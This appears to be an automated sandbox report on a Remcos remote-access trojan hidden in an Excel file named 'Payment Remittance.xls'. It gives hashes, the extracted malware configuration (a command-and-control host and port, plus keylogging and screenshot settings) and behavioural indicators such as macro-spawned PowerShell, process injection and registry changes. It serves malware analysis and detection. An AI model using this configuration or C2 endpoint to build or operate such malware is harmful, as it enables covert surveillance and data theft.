remcos | 0ef76ce10558c86b6d359cd9da83a8fe3ba2dc2f36267447f4e191aaa4aa3125

Analysis

max time kernel
149s
max time network
133s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
18-08-2022 06:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Payment Remittance.xls
Size

79KB
MD5

e12d4ea1d922a7bf268e0133163a92f6
SHA1

b02e8013f9695756d9fab1a5b677bbb39b3e48d7
SHA256

0ef76ce10558c86b6d359cd9da83a8fe3ba2dc2f36267447f4e191aaa4aa3125
SHA512

c9eb96bf6445fd3f3336bf2649caf6e511ae831e95e580e7b8663288e623fa89660afa5f04334d6877b91e3924b8cf567f55514310224698c89e49e090e965a7

Score

10^/10

remcos augb22 rat

Malware Config

Extracted

Family

remcos

Botnet

AUGB22

saptransmissions.dvrlists.com:55026

Attributes

audio_folder
MicRecords
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
AUGB22
keylog_path
%AppData%
mouse_option
false
mutex
AUGB22-35AN4B
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5
take_screenshot_title
wikipedia;solitaire;

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1968	1936	cmd.exe	EXCEL.EXE

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

3 1128 powershell.exe
9 1332 powershell.exe
Loads dropped DLL 1 IoCs

Processes:

powershell.exe

pid process

1332 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1332 set thread context of 1252 1332 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
3	1128	powershell.exe
9	1332	powershell.exe

pid	process
1332	powershell.exe

description	pid	process	target process
PID 1332 set thread context of 1252	1332	powershell.exe	RegAsm.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 63 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeEXCEL.EXEIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{FF343E21-1ED3-11ED-8FA4-466E2F293893} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 10f1e8d9e0b2d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000062e6ef0d45f4454ab79548c962d74cdf0000000002000000000010660000000100002000000061dc11a667fe3e30ae1388deabe37bffae9f17d9a052b336aa4b5467e641ef75000000000e8000000002000020000000fc4b32b5851829d9ad4fc4a3f55878c7e5d63ada9234e4eb1c56255d07e51eac200000000551cc094e18ec68996ce913f0bf19d8ebeaa0840267890cf61c0fe23faaee8f40000000f258978fc24f9ebf85e406a91d428c105620d4a87c05ddbe17c9b368c4ed1ab67214f4efd170454573ef475a3ef782ad31def5ac58296ca8152053e2b170eed0	iexplore.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000062e6ef0d45f4454ab79548c962d74cdf0000000002000000000010660000000100002000000010763c49bba0148e2d5da9a6b9d3ee5431b45b1c3756b4c2aef61157875c7fb4000000000e8000000002000020000000a0c7ec66218fb2002f8836f22131608dbaecfc8f01a1d97b689101b16d32f0fc90000000dbf63cb1f6eb728a577cfa5e1852b3d498655e9496bbecffa2926439cd892f54d769370678eb219462acc50353483f28d6eb459830b8138136fa2aa981b9921961466b382eb9df89d93d8d9108baae23a89421fb6883c7dcd9642680c3f1e6784d658b298a5fd06f8708a65508b10cb55b60fcd0222fb7e49941c616688f39b7d3da587edb82b8a84db1d6c64db39e12400000000c22a007b5918033bba2d44207fd634643df29b592ffe8fd8448e67bb7403204bac36fa36bf5edd5ed249c60c3bd024c7ca9ff55b09b2b6685c1d48c346aaac6	iexplore.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1936 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

1128 powershell.exe
1128 powershell.exe
1128 powershell.exe
1332 powershell.exe
2004 powershell.exe
1332 powershell.exe
1332 powershell.exe

pid	process
1936	EXCEL.EXE

pid	process
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1332	powershell.exe
2004	powershell.exe
1332	powershell.exe
1332	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1128	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeIncreaseQuotaPrivilege	1332	powershell.exe
Token: SeSecurityPrivilege	1332	powershell.exe
Token: SeTakeOwnershipPrivilege	1332	powershell.exe
Token: SeLoadDriverPrivilege	1332	powershell.exe
Token: SeSystemProfilePrivilege	1332	powershell.exe
Token: SeSystemtimePrivilege	1332	powershell.exe
Token: SeProfSingleProcessPrivilege	1332	powershell.exe
Token: SeIncBasePriorityPrivilege	1332	powershell.exe
Token: SeCreatePagefilePrivilege	1332	powershell.exe
Token: SeBackupPrivilege	1332	powershell.exe
Token: SeRestorePrivilege	1332	powershell.exe
Token: SeShutdownPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeSystemEnvironmentPrivilege	1332	powershell.exe
Token: SeRemoteShutdownPrivilege	1332	powershell.exe
Token: SeUndockPrivilege	1332	powershell.exe
Token: SeManageVolumePrivilege	1332	powershell.exe
Token: 33	1332	powershell.exe
Token: 34	1332	powershell.exe
Token: 35	1332	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

1820 iexplore.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

EXCEL.EXEiexplore.exeIEXPLORE.EXERegAsm.exe

pid process

1936 EXCEL.EXE
1936 EXCEL.EXE
1936 EXCEL.EXE
1820 iexplore.exe
1820 iexplore.exe
1320 IEXPLORE.EXE
1320 IEXPLORE.EXE
1252 RegAsm.exe

pid	process
1820	iexplore.exe

pid	process
1936	EXCEL.EXE
1936	EXCEL.EXE
1936	EXCEL.EXE
1820	iexplore.exe
1820	iexplore.exe
1320	IEXPLORE.EXE
1320	IEXPLORE.EXE
1252	RegAsm.exe

Suspicious use of WriteProcessMemory 47 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exeiexplore.exeWScript.exepowershell.exe

description	pid	process	target process
PID 1936 wrote to memory of 1968	1936	EXCEL.EXE	cmd.exe
PID 1936 wrote to memory of 1968	1936	EXCEL.EXE	cmd.exe
PID 1936 wrote to memory of 1968	1936	EXCEL.EXE	cmd.exe
PID 1936 wrote to memory of 1968	1936	EXCEL.EXE	cmd.exe
PID 1968 wrote to memory of 1128	1968	cmd.exe	powershell.exe
PID 1968 wrote to memory of 1128	1968	cmd.exe	powershell.exe
PID 1968 wrote to memory of 1128	1968	cmd.exe	powershell.exe
PID 1968 wrote to memory of 1128	1968	cmd.exe	powershell.exe
PID 1128 wrote to memory of 1988	1128	powershell.exe	WScript.exe
PID 1128 wrote to memory of 1988	1128	powershell.exe	WScript.exe
PID 1128 wrote to memory of 1988	1128	powershell.exe	WScript.exe
PID 1128 wrote to memory of 1988	1128	powershell.exe	WScript.exe
PID 1820 wrote to memory of 1320	1820	iexplore.exe	IEXPLORE.EXE
PID 1820 wrote to memory of 1320	1820	iexplore.exe	IEXPLORE.EXE
PID 1820 wrote to memory of 1320	1820	iexplore.exe	IEXPLORE.EXE
